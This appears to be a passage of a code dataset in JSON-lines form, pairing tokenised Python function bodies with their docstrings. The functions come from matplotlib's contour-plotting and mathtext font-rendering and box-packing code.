None:<EOL><INDENT>kw['<STR_LIT>'] = norm<EOL><DEDENT>cm.ScalarMappable.__init__(self, **kw) <EOL>self._process_colors()<EOL>_mask = ma.getmask(z)<EOL>if _mask is ma.nomask:<EOL><INDENT>_mask = None<EOL><DEDENT>if self.filled:<EOL><INDENT>if self.linewidths is not None:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL><DEDENT>C = _cntr.Cntr(x, y, z.filled(), _mask)<EOL>lowers = self._levels[:-<NUM_LIT:1>]<EOL>uppers = self._levels[<NUM_LIT:1>:]<EOL>for level, level_upper in zip(lowers, uppers):<EOL><INDENT>nlist = C.trace(level, level_upper, points = <NUM_LIT:0>,<EOL>nchunk = self.nchunk)<EOL>col = collections.PolyCollection(nlist,<EOL>antialiaseds = (self.antialiased,),<EOL>edgecolors= '<STR_LIT:none>',<EOL>alpha=self.alpha)<EOL>self.ax.add_collection(col)<EOL>self.collections.append(col)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tlinewidths = self._process_linewidths()<EOL>self.tlinewidths = tlinewidths<EOL>tlinestyles = self._process_linestyles()<EOL>C = _cntr.Cntr(x, y, z.filled(), _mask)<EOL>for level, width, lstyle in zip(self.levels, tlinewidths, tlinestyles):<EOL><INDENT>nlist = C.trace(level, points = <NUM_LIT:0>)<EOL>col = collections.LineCollection(nlist,<EOL>linewidths = width,<EOL>linestyle = lstyle,<EOL>alpha=self.alpha)<EOL>if level < <NUM_LIT:0.0> and self.monochrome:<EOL><INDENT>ls = mpl.rcParams['<STR_LIT>']<EOL>col.set_linestyle(ls)<EOL><DEDENT>col.set_label('<STR_LIT>')<EOL>self.ax.add_collection(col, False)<EOL>self.collections.append(col)<EOL><DEDENT><DEDENT>self.changed() <EOL>x0 = ma.minimum(x)<EOL>x1 = ma.maximum(x)<EOL>y0 = ma.minimum(y)<EOL>y1 = ma.maximum(y)<EOL>self.ax.update_datalim([(x0,y0), (x1,y1)])<EOL>self.ax.autoscale_view()<EOL>", "docstring": "Draw contour lines or filled regions, depending on\nwhether keyword arg 'filled' is False (default) or True.\n\nThe first argument of the initializer must be an axes\nobject.  The remaining arguments and keyword arguments\nare described in ContourSet.contour_doc.", "id": "f17192:c1:m0"}
{"signature": "def _autolev(self, z, N):", "body": "if self.locator is None:<EOL><INDENT>if self.logscale:<EOL><INDENT>self.locator = ticker.LogLocator()<EOL><DEDENT>else:<EOL><INDENT>self.locator = ticker.MaxNLocator(N+<NUM_LIT:1>)<EOL><DEDENT><DEDENT>self.locator.create_dummy_axis()<EOL>zmax = self.zmax<EOL>zmin = self.zmin<EOL>self.locator.set_bounds(zmin, zmax)<EOL>lev = self.locator()<EOL>zmargin = (zmax - zmin) * <NUM_LIT> <EOL>if zmax >= lev[-<NUM_LIT:1>]:<EOL><INDENT>lev[-<NUM_LIT:1>] += zmargin<EOL><DEDENT>if zmin <= lev[<NUM_LIT:0>]:<EOL><INDENT>if self.logscale:<EOL><INDENT>lev[<NUM_LIT:0>] = <NUM_LIT> * zmin<EOL><DEDENT>else:<EOL><INDENT>lev[<NUM_LIT:0>] -= zmargin<EOL><DEDENT><DEDENT>self._auto = True<EOL>if self.filled:<EOL><INDENT>return lev<EOL><DEDENT>return lev[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>", "docstring": "Select contour levels to span the data.\n\nWe need two more levels for filled contours than for\nline contours, because for the latter we need to specify\nthe lower and upper boundary of each range. For example,\na single contour boundary, say at z = 0, requires only\none contour line, but two filled regions, and therefore\nthree levels to provide boundaries for both regions.", "id": "f17192:c1:m2"}
{"signature": "def _initialize_x_y(self, z):", "body": "if z.ndim != <NUM_LIT:2>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>Ny, Nx = z.shape<EOL><DEDENT>if self.origin is None:  <EOL><INDENT>if self.extent is None:<EOL><INDENT>return np.meshgrid(np.arange(Nx), np.arange(Ny))<EOL><DEDENT>else:<EOL><INDENT>x0,x1,y0,y1 = self.extent<EOL>x = np.linspace(x0, x1, Nx)<EOL>y = np.linspace(y0, y1, Ny)<EOL>return np.meshgrid(x, y)<EOL><DEDENT><DEDENT>if self.extent is None:<EOL><INDENT>x0,x1,y0,y1 = (<NUM_LIT:0>, Nx, <NUM_LIT:0>, Ny)<EOL><DEDENT>else:<EOL><INDENT>x0,x1,y0,y1 = self.extent<EOL><DEDENT>dx = float(x1 - x0)/Nx<EOL>dy = float(y1 - y0)/Ny<EOL>x = x0 + (np.arange(Nx) + <NUM_LIT:0.5>) * dx<EOL>y = y0 + (np.arange(Ny) + <NUM_LIT:0.5>) * dy<EOL>if self.origin == '<STR_LIT>':<EOL><INDENT>y = y[::-<NUM_LIT:1>]<EOL><DEDENT>return np.meshgrid(x,y)<EOL>", "docstring": "Return X, Y arrays such that contour(Z) will match imshow(Z)\nif origin is not None.\nThe center of pixel Z[i,j] depends on origin:\nif origin is None, x = j, y = i;\nif origin is 'lower', x = j + 0.5, y = i + 0.5;\nif origin is 'upper', x = j + 0.5, y = Nrows - i - 0.5\nIf extent is not None, x and y will be scaled to match,\nas in imshow.\nIf origin is None and extent is not None, then extent\nwill give the minimum and maximum values of x and y.", "id": "f17192:c1:m3"}
{"signature": "def _check_xyz(self, args):", "body": "<EOL>x = self.ax.convert_xunits( args[<NUM_LIT:0>] )<EOL>y = self.ax.convert_yunits( args[<NUM_LIT:1>] )<EOL>x = np.asarray(x, dtype=np.float64)<EOL>y = np.asarray(y, dtype=np.float64)<EOL>z = ma.asarray(args[<NUM_LIT:2>], dtype=np.float64)<EOL>if z.ndim != <NUM_LIT:2>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>else: Ny, Nx = z.shape<EOL>if x.shape == z.shape and y.shape == z.shape:<EOL><INDENT>return x,y,z<EOL><DEDENT>if x.ndim != <NUM_LIT:1> or y.ndim != <NUM_LIT:1>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>nx, = x.shape<EOL>ny, = y.shape<EOL>if nx != Nx or ny != Ny:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL><DEDENT>x,y = np.meshgrid(x,y)<EOL>return x,y,z<EOL>", "docstring": "For functions like contour, check that the dimensions\nof the input arrays match; if x and y are 1D, convert\nthem to 2D using meshgrid.\n\nPossible change: I think we should make and use an ArgumentError\nException class (here and elsewhere).", "id": "f17192:c1:m4"}
{"signature": "def _process_colors(self):", "body": "self.monochrome = self.cmap.monochrome<EOL>if self.colors is not None:<EOL><INDENT>i0, i1 = <NUM_LIT:0>, len(self.layers)<EOL>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>i0 = -<NUM_LIT:1><EOL><DEDENT>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>i1 = i1 + <NUM_LIT:1><EOL><DEDENT>self.cvalues = list(range(i0, i1))<EOL>self.set_norm(colors.NoNorm())<EOL><DEDENT>else:<EOL><INDENT>self.cvalues = self.layers<EOL><DEDENT>if not self.norm.scaled():<EOL><INDENT>self.set_clim(self.vmin, self.vmax)<EOL><DEDENT>if self.extend in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self.norm.clip = False<EOL><DEDENT>self.set_array(self.layers)<EOL>", "docstring": "Color argument processing for contouring.\n\nNote that we base the color mapping on the contour levels,\nnot on the actual range of the Z values.  This means we\ndon't have to worry about bad values in Z, and we always have\nthe full dynamic range available for the selected levels.\n\nThe color is based on the midpoint of the layer, except for\nan extended end layers.", "id": "f17192:c1:m6"}
{"signature": "def get_alpha(self):", "body": "return self.alpha<EOL>", "docstring": "returns alpha to be applied to all ContourSet artists", "id": "f17192:c1:m9"}
{"signature": "def set_alpha(self, alpha):", "body": "self.alpha = alpha<EOL>self.changed()<EOL>", "docstring": "sets alpha for all ContourSet artists", "id": "f17192:c1:m10"}
{"signature": "def find_nearest_contour( self, x, y, indices=None, pixel=True ):", "body": "<EOL>if indices==None:<EOL><INDENT>indices = list(range(len(self.levels)))<EOL><DEDENT>dmin = <NUM_LIT><EOL>conmin = None<EOL>segmin = None<EOL>xmin = None<EOL>ymin = None<EOL>for icon in indices:<EOL><INDENT>con = self.collections[icon]<EOL>paths = con.get_paths()<EOL>for segNum, linepath in enumerate(paths):<EOL><INDENT>lc = linepath.vertices<EOL>if pixel:<EOL><INDENT>lc = self.ax.transData.transform(lc)<EOL><DEDENT>ds = (lc[:,<NUM_LIT:0>]-x)**<NUM_LIT:2> + (lc[:,<NUM_LIT:1>]-y)**<NUM_LIT:2><EOL>d = min( ds )<EOL>if d < dmin:<EOL><INDENT>dmin = d<EOL>conmin = icon<EOL>segmin = segNum<EOL>imin = mpl.mlab.find( ds == d )[<NUM_LIT:0>]<EOL>xmin = lc[imin,<NUM_LIT:0>]<EOL>ymin = lc[imin,<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>return (conmin,segmin,imin,xmin,ymin,dmin)<EOL>", "docstring": "Finds contour that is closest to a point.  Defaults to\nmeasuring distance in pixels (screen space - useful for manual\ncontour labeling), but this can be controlled via a keyword\nargument.\n\nReturns a tuple containing the contour, segment, index of\nsegment, x & y of segment point and distance to minimum point.\n\nCall signature::\n\n  conmin,segmin,imin,xmin,ymin,dmin = find_nearest_contour(\n             self, x, y, indices=None, pixel=True )\n\nOptional keyword arguments::\n\n*indices*:\n   Indexes of contour levels to consider when looking for\n   nearest point.  Defaults to using all levels.\n\n*pixel*:\n   If *True*, measure distance in pixel space, if not, measure\n   distance in axes space.  Defaults to *True*.", "id": "f17192:c1:m11"}
{"signature": "def get_unicode_index(symbol):", "body": "<EOL>if symbol == '<STR_LIT:->':<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>try:<EOL><INDENT>return ord(symbol)<EOL><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return tex2uni[symbol.strip(\"<STR_LIT:\\\\>\")]<EOL><DEDENT>except KeyError:<EOL><INDENT>message = \"\"\"<STR_LIT>\"\"\"%locals()<EOL>raise ValueError(message)<EOL><DEDENT>", "docstring": "get_unicode_index(symbol) -> integer\n\nReturn the integer index (from the Unicode table) of symbol.  *symbol*\ncan be a single unicode character, a TeX command (i.e. r'\\pi'), or a\nType1 symbol name (i.e. 'phi').", "id": "f17193:m0"}
{"signature": "def MathtextBackendBitmap():", "body": "return MathtextBackendBbox(MathtextBackendBitmapRender())<EOL>", "docstring": "A backend to generate standalone mathtext images.  No additional\nmatplotlib backend is required.", "id": "f17193:m2"}
{"signature": "def Error(msg):", "body": "def raise_error(s, loc, toks):<EOL><INDENT>raise ParseFatalException(msg + \"<STR_LIT:\\n>\" + s)<EOL><DEDENT>empty = Empty()<EOL>empty.setParseAction(raise_error)<EOL>return empty<EOL>", "docstring": "Helper class to raise parser errors.", "id": "f17193:m3"}
{"signature": "def set_canvas_size(self, w, h, d):", "body": "self.width  = w<EOL>self.height = h<EOL>self.depth  = d<EOL>", "docstring": "Dimension the drawing canvas", "id": "f17193:c0:m1"}
{"signature": "def render_glyph(self, ox, oy, info):", "body": "raise NotImplementedError()<EOL>", "docstring": "Draw a glyph described by *info* to the reference point (*ox*,\n*oy*).", "id": "f17193:c0:m2"}
{"signature": "def render_filled_rect(self, x1, y1, x2, y2):", "body": "raise NotImplementedError()<EOL>", "docstring": "Draw a filled black rectangle from (*x1*, *y1*) to (*x2*, *y2*).", "id": "f17193:c0:m3"}
{"signature": "def get_results(self, box):", "body": "raise NotImplementedError()<EOL>", "docstring": "Return a backend-specific tuple to return to the backend after\nall processing is done.", "id": "f17193:c0:m4"}
{"signature": "def get_hinting_type(self):", "body": "return LOAD_NO_HINTING<EOL>", "docstring": "Get the Freetype hinting type to use with this particular\nbackend.", "id": "f17193:c0:m5"}
{"signature": "def __init__(self, default_font_prop, mathtext_backend):", "body": "self.default_font_prop = default_font_prop<EOL>self.mathtext_backend = mathtext_backend<EOL>self.mathtext_backend.fonts_object = self<EOL>self.used_characters = {}<EOL>", "docstring": "*default_font_prop*: A\n:class:`~matplotlib.font_manager.FontProperties` object to use\nfor the default non-math font, or the base font for Unicode\n(generic) font rendering.\n\n*mathtext_backend*: A subclass of :class:`MathTextBackend`\nused to delegate the actual rendering.", "id": "f17193:c8:m0"}
{"signature": "def destroy(self):", "body": "self.used_characters = None<EOL>", "docstring": "Fix any cyclical references before the object is about\nto be destroyed.", "id": "f17193:c8:m1"}
{"signature": "def get_kern(self, font1, fontclass1, sym1, fontsize1,<EOL>font2, fontclass2, sym2, fontsize2, dpi):", "body": "return <NUM_LIT:0.><EOL>", "docstring": "Get the kerning distance for font between *sym1* and *sym2*.\n\n*fontX*: one of the TeX font names::\n\n  tt, it, rm, cal, sf, bf or default (non-math)\n\n*fontclassX*: TODO\n\n*symX*: a symbol in raw TeX form. e.g. '1', 'x' or '\\sigma'\n\n*fontsizeX*: the fontsize in points\n\n*dpi*: the current dots-per-inch", "id": "f17193:c8:m2"}
{"signature": "def get_metrics(self, font, font_class, sym, fontsize, dpi):", "body": "info = self._get_info(font, font_class, sym, fontsize, dpi)<EOL>return info.metrics<EOL>", "docstring": "*font*: one of the TeX font names::\n\n  tt, it, rm, cal, sf, bf or default (non-math)\n\n*font_class*: TODO\n\n*sym*:  a symbol in raw TeX form. e.g. '1', 'x' or '\\sigma'\n\n*fontsize*: font size in points\n\n*dpi*: current dots-per-inch\n\nReturns an object with the following attributes:\n\n  - *advance*: The advance distance (in points) of the glyph.\n\n  - *height*: The height of the glyph in points.\n\n  - *width*: The width of the glyph in points.\n\n  - *xmin*, *xmax*, *ymin*, *ymax* - the ink rectangle of the glyph\n\n  - *iceberg* - the distance from the baseline to the top of\n    the glyph.  This corresponds to TeX's definition of\n    \"height\".", "id": "f17193:c8:m3"}
{"signature": "def set_canvas_size(self, w, h, d):", "body": "self.width, self.height, self.depth = ceil(w), ceil(h), ceil(d)<EOL>self.mathtext_backend.set_canvas_size(self.width, self.height, self.depth)<EOL>", "docstring": "Set the size of the buffer used to render the math expression.\nOnly really necessary for the bitmap backends.", "id": "f17193:c8:m4"}
{"signature": "def render_glyph(self, ox, oy, facename, font_class, sym, fontsize, dpi):", "body": "info = self._get_info(facename, font_class, sym, fontsize, dpi)<EOL>realpath, stat_key = get_realpath_and_stat(info.font.fname)<EOL>used_characters = self.used_characters.setdefault(<EOL>stat_key, (realpath, set()))<EOL>used_characters[<NUM_LIT:1>].add(info.num)<EOL>self.mathtext_backend.render_glyph(ox, oy, info)<EOL>", "docstring": "Draw a glyph at\n\n  - *ox*, *oy*: position\n\n  - *facename*: One of the TeX face names\n\n  - *font_class*:\n\n  - *sym*: TeX symbol name or single character\n\n  - *fontsize*: fontsize in points\n\n  - *dpi*: The dpi to draw at.", "id": "f17193:c8:m5"}
{"signature": "def render_rect_filled(self, x1, y1, x2, y2):", "body": "self.mathtext_backend.render_rect_filled(x1, y1, x2, y2)<EOL>", "docstring": "Draw a filled rectangle from (*x1*, *y1*) to (*x2*, *y2*).", "id": "f17193:c8:m6"}
{"signature": "def get_xheight(self, font, fontsize, dpi):", "body": "raise NotImplementedError()<EOL>", "docstring": "Get the xheight for the given *font* and *fontsize*.", "id": "f17193:c8:m7"}
{"signature": "def get_underline_thickness(self, font, fontsize, dpi):", "body": "raise NotImplementedError()<EOL>", "docstring": "Get the line thickness that matches the given font.  Used as a\nbase unit for drawing lines such as in a fraction or radical.", "id": "f17193:c8:m8"}
{"signature": "def get_used_characters(self):", "body": "return self.used_characters<EOL>", "docstring": "Get the set of characters that were used in the math\nexpression.  Used by backends that need to subset fonts so\nthey know which glyphs to include.", "id": "f17193:c8:m9"}
{"signature": "def get_results(self, box):", "body": "return self.mathtext_backend.get_results(box)<EOL>", "docstring": "Get the data needed by the backend to render the math\nexpression.  The return value is backend-specific.", "id": "f17193:c8:m10"}
{"signature": "def get_sized_alternatives_for_symbol(self, fontname, sym):", "body": "return [(fontname, sym)]<EOL>", "docstring": "Override if your font provides multiple sizes of the same\nsymbol.  Should return a list of symbols matching *sym* in\nvarious sizes.  The expression renderer will select the most\nappropriate size for a given situation from this list.", "id": "f17193:c8:m11"}
{"signature": "def _get_info (self, fontname, font_class, sym, fontsize, dpi):", "body": "key = fontname, sym, fontsize, dpi<EOL>tup = self.glyphd.get(key)<EOL>if tup is not None:<EOL><INDENT>return tup<EOL><DEDENT>if (fontname == '<STR_LIT>' and<EOL>(len(sym) > <NUM_LIT:1> or<EOL>not unicodedata.category(str(sym)).startswith(\"<STR_LIT:L>\"))):<EOL><INDENT>fontname = '<STR_LIT>'<EOL><DEDENT>found_symbol = False<EOL>if sym in latex_to_standard:<EOL><INDENT>fontname, num = latex_to_standard[sym]<EOL>glyph = chr(num)<EOL>found_symbol = True<EOL><DEDENT>elif len(sym) == <NUM_LIT:1>:<EOL><INDENT>glyph = sym<EOL>num = ord(glyph)<EOL>found_symbol = True<EOL><DEDENT>else:<EOL><INDENT>warn(\"<STR_LIT>\" % sym,<EOL>MathTextWarning)<EOL><DEDENT>slanted = (fontname == '<STR_LIT>')<EOL>font = self._get_font(fontname)<EOL>if found_symbol:<EOL><INDENT>try:<EOL><INDENT>symbol_name = font.get_name_char(glyph)<EOL><DEDENT>except KeyError:<EOL><INDENT>warn(\"<STR_LIT>\" %<EOL>(font.postscript_name, sym),<EOL>MathTextWarning)<EOL>found_symbol = False<EOL><DEDENT><DEDENT>if not found_symbol:<EOL><INDENT>glyph = sym = '<STR_LIT:?>'<EOL>num = ord(glyph)<EOL>symbol_name = font.get_name_char(glyph)<EOL><DEDENT>offset = <NUM_LIT:0><EOL>scale = <NUM_LIT> * fontsize<EOL>xmin, ymin, xmax, ymax = [val * scale<EOL>for val in font.get_bbox_char(glyph)]<EOL>metrics = Bunch(<EOL>advance  = font.get_width_char(glyph) * scale,<EOL>width    = font.get_width_char(glyph) * scale,<EOL>height   = font.get_height_char(glyph) * scale,<EOL>xmin = xmin,<EOL>xmax = xmax,<EOL>ymin = ymin+offset,<EOL>ymax = ymax+offset,<EOL>iceberg = ymax + offset,<EOL>slanted = slanted<EOL>)<EOL>self.glyphd[key] = Bunch(<EOL>font            = font,<EOL>fontsize        = fontsize,<EOL>postscript_name = font.get_fontname(),<EOL>metrics         = metrics,<EOL>symbol_name     = symbol_name,<EOL>num             = num,<EOL>glyph           = glyph,<EOL>offset          = offset<EOL>)<EOL>return self.glyphd[key]<EOL>", "docstring": "load the cmfont, metrics and glyph with caching", "id": "f17193:c14:m2"}
{"signature": "def shrink(self):", "body": "self.size += <NUM_LIT:1><EOL>", "docstring": "Shrinks one level smaller.  There are only three levels of\nsizes, after which things will no longer get smaller.", "id": "f17193:c16:m4"}
{"signature": "def grow(self):", "body": "self.size -= <NUM_LIT:1><EOL>", "docstring": "Grows one level larger.  There is no limit to how big\nsomething can get.", "id": "f17193:c16:m5"}
{"signature": "def get_kerning(self, next):", "body": "advance = self._metrics.advance - self.width<EOL>kern = <NUM_LIT:0.><EOL>if isinstance(next, Char):<EOL><INDENT>kern = self.font_output.get_kern(<EOL>self.font, self.font_class, self.c, self.fontsize,<EOL>next.font, next.font_class, next.c, next.fontsize,<EOL>self.dpi)<EOL><DEDENT>return advance + kern<EOL>", "docstring": "Return the amount of kerning between this and the given\ncharacter.  Called when characters are strung together into\n:class:`Hlist` to create :class:`Kern` nodes.", "id": "f17193:c20:m4"}
{"signature": "def render(self, x, y):", "body": "self.font_output.render_glyph(<EOL>x, y,<EOL>self.font, self.font_class, self.c, self.fontsize, self.dpi)<EOL>", "docstring": "Render the character to the canvas", "id": "f17193:c20:m5"}
{"signature": "def render(self, x, y):", "body": "self.font_output.render_glyph(<EOL>x - self._metrics.xmin, y + self._metrics.ymin,<EOL>self.font, self.font_class, self.c, self.fontsize, self.dpi)<EOL>", "docstring": "Render the character to the canvas.", "id": "f17193:c21:m3"}
{"signature": "def _determine_order(self, totals):", "body": "o = <NUM_LIT:0><EOL>for i in range(len(totals) - <NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if totals[i] != <NUM_LIT:0.0>:<EOL><INDENT>o = i<EOL>break<EOL><DEDENT><DEDENT>return o<EOL>", "docstring": "A helper function to determine the highest order of glue\nused by the members of this list.  Used by vpack and hpack.", "id": "f17193:c22:m2"}
{"signature": "def kern(self):", "body": "new_children = []<EOL>num_children = len(self.children)<EOL>if num_children:<EOL><INDENT>for i in range(num_children):<EOL><INDENT>elem = self.children[i]<EOL>if i < num_children - <NUM_LIT:1>:<EOL><INDENT>next = self.children[i + <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>next = None<EOL><DEDENT>new_children.append(elem)<EOL>kerning_distance = elem.get_kerning(next)<EOL>if kerning_distance != <NUM_LIT:0.>:<EOL><INDENT>kern = Kern(kerning_distance)<EOL>new_children.append(kern)<EOL><DEDENT><DEDENT>self.children = new_children<EOL><DEDENT>", "docstring": "Insert :class:`Kern` nodes between :class:`Char` nodes to set\nkerning.  The :class:`Char` nodes themselves determine the\namount of kerning they need (in :meth:`~Char.get_kerning`),\nand this function just creates the linked list in the correct\nway.", "id": "f17193:c23:m1"}
{"signature": "def hpack(self, w=<NUM_LIT:0.>, m='<STR_LIT>'):", "body": "<EOL>h = <NUM_LIT:0.><EOL>d = <NUM_LIT:0.><EOL>x = <NUM_LIT:0.><EOL>total_stretch = [<NUM_LIT:0.>] * <NUM_LIT:4><EOL>total_shrink = [<NUM_LIT:0.>] * <NUM_LIT:4><EOL>for p in self.children:<EOL><INDENT>if isinstance(p, Char):<EOL><INDENT>x += p.width<EOL>h = max(h, p.height)<EOL>d = max(d, p.depth)<EOL><DEDENT>elif isinstance(p, Box):<EOL><INDENT>x += p.width<EOL>if not isinf(p.height) and not isinf(p.depth):<EOL><INDENT>s = getattr(p, '<STR_LIT>', <NUM_LIT:0.>)<EOL>h = max(h, p.height - s)<EOL>d = max(d, p.depth + s)<EOL><DEDENT><DEDENT>elif isinstance(p, Glue):<EOL><INDENT>glue_spec = p.glue_spec<EOL>x += glue_spec.width<EOL>total_stretch[glue_spec.stretch_order] += glue_spec.stretch<EOL>total_shrink[glue_spec.shrink_order] += glue_spec.shrink<EOL><DEDENT>elif isinstance(p, Kern):<EOL><INDENT>x += p.width<EOL><DEDENT><DEDENT>self.height = h<EOL>self.depth = d<EOL>if m == '<STR_LIT>':<EOL><INDENT>w += x<EOL><DEDENT>self.width = w<EOL>x = w - x<EOL>if x == <NUM_LIT:0.>:<EOL><INDENT>self.glue_sign = <NUM_LIT:0><EOL>self.glue_order = <NUM_LIT:0><EOL>self.glue_ratio = <NUM_LIT:0.><EOL>return<EOL><DEDENT>if x > <NUM_LIT:0.>:<EOL><INDENT>self._set_glue(x, <NUM_LIT:1>, total_stretch, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self._set_glue(x, -<NUM_LIT:1>, total_shrink, \"<STR_LIT>\")<EOL><DEDENT>", "docstring": "The main duty of :meth:`hpack` is to compute the dimensions of\nthe resulting boxes, and to adjust the glue if one of those\ndimensions is pre-specified.  The computed sizes normally\nenclose all of the material inside the new box; but some items\nmay stick out if negative glue is used, if the box is\noverfull, or if a ``\\\\vbox`` includes other boxes that have\nbeen shifted left.\n\n  - *w*: specifies a width\n\n  - *m*: is either 'exactly' or 'additional'.\n\nThus, ``hpack(w, 'exactly')`` produces a box whose width is\nexactly *w*, while ``hpack(w, 'additional')`` yields a box\nwhose width is the natural width plus *w*.  The default values\nproduce a box with the natural width.", "id": "f17193:c23:m2"}
{"signature": "def vpack(self, h=<NUM_LIT:0.>, m='<STR_LIT>', l=float(inf)):", "body": "<EOL>w = <NUM_LIT:0.><EOL>d = <NUM_LIT:0.><EOL>x = <NUM_LIT:0.><EOL>total_stretch = [<NUM_LIT:0.>] * <NUM_LIT:4><EOL>total_shrink = [<NUM_LIT:0.>] * <NUM_LIT:4><EOL>for p in self.children:<EOL><INDENT>if isinstance(p, Box):<EOL><INDENT>x += d + p.height<EOL>d = p.depth<EOL>if not isinf(p.width):<EOL><INDENT>s = getattr(p, '<STR_LIT>', <NUM_LIT:0.>)<EOL>w = max(w, p.width + s)<EOL><DEDENT><DEDENT>elif isinstance(p, Glue):<EOL><INDENT>x += d<EOL>d = <NUM_LIT:0.><EOL>glue_spec = p.glue_spec<EOL>x += glue_spec.width<EOL>total_stretch[glue_spec.stretch_order] += glue_spec.stretch<EOL>total_shrink[glue_spec.shrink_order] += glue_spec.shrink<EOL><DEDENT>elif isinstance(p, Kern):<EOL><INDENT>x += d + p.width<EOL>d = <NUM_LIT:0.><EOL><DEDENT>elif isinstance(p, Char):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self.width = w<EOL>if d > l:<EOL><INDENT>x += d - l<EOL>self.depth = l<EOL><DEDENT>else:<EOL><INDENT>self.depth = d<EOL><DEDENT>if m == '<STR_LIT>':<EOL><INDENT>h += x<EOL><DEDENT>self.height = h<EOL>x = h - x<EOL>if x == <NUM_LIT:0>:<EOL><INDENT>self.glue_sign = <NUM_LIT:0><EOL>self.glue_order = <NUM_LIT:0><EOL>self.glue_ratio = <NUM_LIT:0.><EOL>return<EOL><DEDENT>if x > <NUM_LIT:0.>:<EOL><INDENT>self._set_glue(x, <NUM_LIT:1>, total_stretch, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self._set_glue(x, -<NUM_LIT:1>, total_shrink, \"<STR_LIT>\")<EOL><DEDENT>", "docstring": "The main duty of :meth:`vpack` is to compute the dimensions of\nthe resulting boxes, and to adjust the glue if one of those\ndimensions is pre-specified.\n\n  - *h*: specifies a height\n  - *m*: is either 'exactly' or 'additional'.\n  - *l*: a maximum height\n\nThus, ``vpack(h, 'exactly')`` produces a box whose height is\nexactly *h*, while ``vpack(h, 'additional')`` yields a box\nwhose height is the natural height plus *h*.  The default\nvalues produce a box with the natural width.", "id": "f17193:c24:m1"}
{"signature": "def clear(self):", "body": "self._expr = None<EOL>self._state_stack = None<EOL>self._em_width_cache = {}<EOL>", "docstring": "Clear any state before parsing.", "id": "f17193:c44:m1"}
{"signature": "def parse(self, s, fonts_object, fontsize, dpi):", "body": "self._state_stack = [self.State(fonts_object, '<STR_LIT:default>', '<STR_LIT>', fontsize, dpi)]<EOL>try:<EOL><INDENT>self._expression.parseString(s)<EOL><DEDENT>except ParseException as err:<EOL><INDENT>raise ValueError(\"<STR_LIT:\\n>\".join([<EOL>\"<STR_LIT>\",<EOL>err.line,<EOL>\"<STR_LIT:U+0020>\" * (err.column - <NUM_LIT:1>) + \"<STR_LIT>\",<EOL>str(err)]))<EOL><DEDENT>return self._expr<EOL>", "docstring": "Parse expression *s* using the given *fonts_object* for\noutput, at the given *fontsize* and *dpi*.\n\nReturns the parse tree of :class:`Node` instances.", "id": "f17193:c44:m2"}
{"signature": "def get_state(self):", "body": "return self._state_stack[-<NUM_LIT:1>]<EOL>", "docstring": "Get the current :class:`State` of the parser.", "id": "f17193:c44:m3"}
{"signature": "def pop_state(self):", "body": "self._state_stack.pop()<EOL>", "docstring": "Pop a :class:`State` off of the stack.", "id": "f17193:c44:m4"}
{"signature": "def push_state(self):", "body": "self._state_stack.append(self.get_state().copy())<EOL>", "docstring": "Push a new :class:`State` onto the stack which is just a copy\nof the current state.", "id": "f17193:c44:m5"}
{"signature": "def __init__(self, output):", "body": "self._output = output.lower()<EOL>self._cache = maxdict(<NUM_LIT:50>)<EOL>", "docstring": "Create a MathTextParser for the given backend *output*.", "id": "f17193:c45:m0"}
{"signature": "def parse(self, s, dpi = <NUM_LIT>, prop = None):", "body": "if prop is None:<EOL><INDENT>prop = FontProperties()<EOL><DEDENT>cacheKey = (s, dpi, hash(prop))<EOL>result = self._cache.get(cacheKey)<EOL>if result is not None:<EOL><INDENT>return result<EOL><DEDENT>if self._output == '<STR_LIT>' and rcParams['<STR_LIT>']:<EOL><INDENT>font_output = StandardPsFonts(prop)<EOL><DEDENT>else:<EOL><INDENT>backend = self._backend_mapping[self._output]()<EOL>fontset = rcParams['<STR_LIT>']<EOL>fontset_class = self._font_type_mapping.get(fontset.lower())<EOL>if fontset_class is not None:<EOL><INDENT>font_output = fontset_class(prop, backend)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>fontsize = prop.get_size_in_points()<EOL>if self._parser is None:<EOL><INDENT>self.__class__._parser = Parser()<EOL><DEDENT>box = self._parser.parse(s, font_output, fontsize, dpi)<EOL>font_output.set_canvas_size(box.width, box.height, box.depth)<EOL>result = font_output.get_results(box)<EOL>self._cache[cacheKey] = result<EOL>self._parser.clear()<EOL>font_output.destroy()<EOL>font_output.mathtext_backend.fonts_object = None<EOL>font_output.mathtext_backend = None<EOL>return result<EOL>", "docstring": "Parse the given math expression *s* at the given *dpi*.  If\n*prop* is provided, it is a\n:class:`~matplotlib.font_manager.FontProperties` object\nspecifying the \"default\" font to use in the math expression,\nused for all non-math text.\n\nThe results are cached, so multiple calls to :meth:`parse`\nwith the same expression should be fast.", "id": "f17193:c45:m1"}
